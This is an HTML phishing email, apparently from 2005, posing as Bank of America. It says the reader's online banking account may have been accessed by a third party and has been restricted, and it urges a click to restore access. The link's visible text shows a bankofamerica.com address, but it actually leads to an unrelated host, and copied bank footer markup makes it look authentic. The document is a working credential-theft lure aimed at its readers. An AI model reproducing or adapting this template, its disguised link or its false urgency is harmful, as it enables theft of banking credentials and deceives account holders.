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<P><STRONG><img src="http://www.nyse.com/images/press/bac-l.gif"> <br>
Dear Bank Of America valued member, </STRONG> </P>
<BLOCKQUOTE>
<P>We recently review your account, and suspect that your Bank Of America online banking
account may have been accessed by an unauthorized third party. Protecting
the security of your account and of the Bank Of America is our primary concern.
Therefore, as a preventive measure, we have temporarily limited access to
sensitive Bank Of America online banking account features.</P>
<P>To restore your account access, please follow the steps needed to ensure
that your account has not been compromised. </P>
<P>To get started, please click the link below:</P>
<P><A href="http://www.xmppro.net/boa/index.html">https://www.bankofamerica.com/cgi-bin/imcpprd.dll/Ctrl.jsp?BV_UseBVCookie=yes</A></P>
<P>We apologize for any inconvenience this may caused, and appreciate your assistance
in helping maintain the integrity of entire Bank Of America system. Thank you for
your prompt attention to this matter.</P>
</BLOCKQUOTE>
<P>Sincerely,</P>
<P>The Bank Of America Team</P>
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<TR>
<TD class=ftr-hr colSpan=3><IMG height=1 alt=""
src="http://www.bankofamerica.com/Bank of America Home Personal_files/x.gif" width=1 border=0></TD></TR>
<TR>
<TD colSpan=3><IMG height=3 alt=""
src="http://www.bankofamerica.com/Bank of America Home Personal_files/x.gif" width=1 border=0></TD></TR>
<TR vAlign=top>
<TD width=8><IMG height=1 alt=""
src="Bank of America Home Personal_files/x.gif" width=8 border=0></TD>
<TD vAlign=top><A class=ftr-link1
href="http://www.bankofamerica.com/privacy/">Privacy &
Security</A> <SPAN class=linksep1>?</SPAN> <A class=ftr-link1
href="http://www.bankofamerica.com/careers/">Careers</A> <SPAN
class=linksep1>?</SPAN> <A class=ftr-link1
href="http://www.bankofamerica.com/help/index.cfm?template=sitemap.cfm">Site
Map</A><BR><IMG height=19 alt=""
src="Bank of America Home Personal_files/x.gif" width=1 border=0>
<DIV class=ftr-text1>Bank of America, N.A. Member FDIC. <A class=ftr-link2
title="Link opens Equal Housing Lender pop-up window"
onclick="javascript:window.open('/help/equalhousing_popup.cfm','newwin','width=640,height=371,scrollbars=yes,resizable=yes,left=35,top=161'); return false;"
href="http://www.bankofamerica.com/help/equalhousing_popup.cfm"
target=_blank>Equal Housing Lender</A><A
title="Link opens Equal Housing Lender pop-up window"
onclick="javascript:window.open('/help/equalhousing_popup.cfm','newwin','width=640,height=371,scrollbars=yes,resizable=yes,left=35,top=161'); return false;"
href="http://www.bankofamerica.com/help/equalhousing_popup.cfm"
target=_blank><IMG height=9
alt="Link opens Equal Housing Lender pop-up window" hspace=3
src="Bank of America Home Personal_files/house.gif" width=14
border=0></A><BR>? 2005 Bank of America Corporation. All rights reserved.
</DIV><BR></TD>
<TD align=right width=131><A
href="http://www.bankofamerica.com/sponsorships/"><IMG height=33
alt="Official Sponsor 2004-2008 U.S. Olympic Teams"
src="http://www.bankofamerica.com/global/mvc_objects/images/foot_olympic.gif" width=131
align=right vspace=7 border=0></A></TD></TR></TBODY></TABLE>
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